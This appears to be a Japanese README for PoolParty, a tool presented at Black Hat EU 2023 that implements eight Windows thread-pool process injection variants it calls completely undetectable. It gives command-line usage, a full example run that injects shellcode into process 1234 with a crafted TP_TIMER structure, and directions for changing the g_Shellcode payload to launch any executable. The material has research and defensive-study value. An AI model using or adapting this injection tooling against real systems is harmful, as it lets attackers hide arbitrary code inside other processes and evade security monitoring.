
Windows スレッド プールを悪用する、完全に検出不可能なプロセスインジェクション手法のコレクションです。Black Hat EU 2023 Briefings で「あなたが決して忘れないプールパーティ:Windows スレッド プールを使用した新しいプロセスインジェクション手法」(https://www.blackhat.com/eu-23/briefings/schedule/#the-pool-party-you-will-never-forget-new-process-injection-techniques-using-windows-thread-pools-35446) というタイトルで発表されました。
| バリアントID | バリアントの説明 |
|---|---|
| 1 | 対象となるワーカーファクトリのスタートルーチンを上書き |
| 2 | 対象プロセスのスレッド プールに TP_WORK ワークアイテムを挿入 |
| 3 | 対象プロセスのスレッド プールに TP_WAIT ワークアイテムを挿入 |
| 4 | 対象プロセスのスレッド プールに TP_IO ワークアイテムを挿入 |
| 5 | 対象プロセスのスレッド プールに TP_ALPC ワークアイテムを挿入 |
| 6 | 対象プロセスのスレッド プールに TP_JOB ワークアイテムを挿入 |
| 7 | 対象プロセスのスレッド プールに TP_DIRECT ワークアイテムを挿入 |
| 8 | 対象プロセスのスレッド プールに TP_TIMER ワークアイテムを挿入 |
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>
プロセスID 1234 に TP_TIMER ワークアイテムを挿入
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
デフォルトのシェルコードは、WinExec API を介して電卓を起動します。
実行する実行ファイルをカスタマイズするには、main.cpp ファイル内にある g_Shellcode 変数の末尾のパスを変更してください。